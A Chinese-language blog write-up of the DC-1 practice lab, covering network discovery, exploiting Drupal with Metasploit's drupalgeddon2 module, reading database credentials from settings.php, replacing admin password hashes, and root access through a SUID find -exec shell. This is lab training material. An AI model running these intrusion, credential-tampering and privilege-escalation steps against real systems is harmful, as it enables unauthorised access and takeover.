DC-1靶机练习

DC-1靶机

信息搜集

IP探测

使用命令 arp-scan -l可以测试出我们本地网络的IP

image-20240730005045703

通过配置靶机可以知道,靶机的mac地址为 00:0C:29:36:D2:6F

确定IP为之后直接访问

网页探测

image-20240730004617530

通过Wappalyzer可以看出这个站点是使用

  1. Drupal内容管理
  2. Apache的服务器

漏洞利用

上面的信息收集我们确实发现不了什么,所以我们使用msf搜索一下对应的组件是否存在历史漏洞

image-20240730015449548

这里我们可看到很多漏洞,我们选择高危且最新的漏洞。

use exploit/unix/webapp/drupal_drupalgeddon2

然后填写对应的参数

set rhosts 靶机IP

image-20240730015731486

然后就getshell,进入靶机内部,进入交互

python -c 'import pty; pty.spawn("/bin/bash")'

flag1

Every good CMS needs a config file - and so do you.

提示我们找配置文件

危害实现

数据库渗透

根据提示,我们需要去查找对应的配置文件

最开始使用的是

 cat `find / -name config.php`

但是似乎是没有的

 cat `find / -name settings.php`

这个用来查看整个文件系统里面的文件

 * Brute force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).
 * What can you do with these credentials?

//暴力破解和字典攻击并非获取访问权限的唯一方式(而且你确实需要访问权限)。

这里有提示我们不能使用爆破的方式进入,加上文件里面泄露的数据库的用户名和密码,先查看数据库

image-20240730020430747

通过查看数据库我们知道有用的数据库是drupaldb,里面的users表就感觉会有用户的账密或登录啥的的记录

select * from users;

image-20240730021106882

这里的密码看着十分的复杂,肯定是通过什么脚本加密了。我们的思路就是,找到加密逻辑,修改密码为我们自己的,在填入数据库

image-20240730021317243

通过这个网站的建议,直接退出mysql服务,然后直接运行

php /var/www/scripts/password-hash tammy

得到新的密码

$S$DPPVm7KjdxhnXhoP/JlUpwROZXMjz.yiYfbW12zzqX5SxZhbIUlL

回到数据库drupaldb

UPDATE users SET pass="$S$DPPVm7KjdxhnXhoP/JlUpwROZXMjz.yiYfbW12zzqX5SxZhbIUlL" WHERE name='admin' OR name='Fred';

登录之后

image-20240730021644269

提权

flag3: Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.//特殊的权限设置将帮助找到passwd - 但你需要使用-exec命令来破解如何获取shadow文件中的内容

/etc/passwd   -->可读
/etc/shadow   -->无权限

image-20240730022202311

发现里面有flag4

Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy.  Or maybe it is?

告诉我们访问root目录,肯定是没有权限的

这里就需要使用提权的知识了

看看有哪些suid权限的文件:

find / -perm -u=s -type f 2>/dev/null

/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

这里使用find提权就OK

find / -name index.php -exec "/bin/sh" \;

这里的index.php是什么不重要,使用正确格式就行

运行之后就直接访问最后的flag文件

image-20240730022708842

知识点总结

  • 本地网络IP探测
  • msf使用getshell
  • 数据库渗透获取账号密码
  • SUID提权
posted @ 2024-07-30 02:31  tammy66  阅读(28)  评论(0)    收藏  举报